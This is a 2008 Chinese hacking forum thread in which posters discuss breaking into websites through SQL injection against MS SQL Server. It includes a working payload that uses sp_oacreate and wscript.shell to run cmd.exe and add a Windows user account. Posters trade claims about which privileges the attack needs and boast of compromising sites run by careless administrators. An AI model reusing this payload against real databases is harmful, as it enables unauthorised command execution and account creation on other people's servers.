原创作者：hack520

我那两个站就是猪三帮我用这办法搞的
可看了动画..还是不怎么明白....他那个命令是直接复制的..杂不也一起提供呢
现在只有到那一步停止..然后看他命令自己手动输入拉.

另附抓图一张

晕一下先 SA权限才能用吧?!SP_oacrete链一个WSH变量@s,SP_oamethod调用变量@S,参数运行CMD.EXE.


另外一个例子.

[s:38] 先看好，是DB权限哦，要是SA的话还做动画干铞？这是由于管理员设置SQL的失误才导致的。

[s:36] 怎么看都是本机装的SQL~在那自娱自乐.

[s:75] 确实是本机TEST的，不过那个帐户确实是db权限的，可是照样执行系统指令。 [s:39] 你不信那没办法啦。。哈哈。。只有1%的傻鸟管理员会这样做的，我只是凑巧碰上了几个而已。

[s:39] 我们的天真纯洁善良的fhod竟然看不出来,汗一个.

[s:75] 那楼上的自己去找fhod吧哈哈，问问他站是怎么搞下的。 [s:64]

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]未能找到存储过程 'sp_oacreate'。
我怎么没那么走运？！

fhod或小三,麻烦你把测试的代码发出来.

就是fhod拿的那个图片内的东东!

求人不如求已

复制内容到剪贴板

代码:

DECLARE @s int EXEC sp_oacreate [wscript.shell] , @s out EXEC sp_oamethod @s, [run], NULL, [cmd.exe /c net user username /add] --

[ 本帖最后由 !angel 于 2008-2-23 16:42 编辑 ]

这个方法必须对MASTER库有权限才行，但很少有主机这样配置......一般只能用来装B了。

[ 本帖最后由 撕碎了的小C 于 2008-2-29 13:02 编辑 ]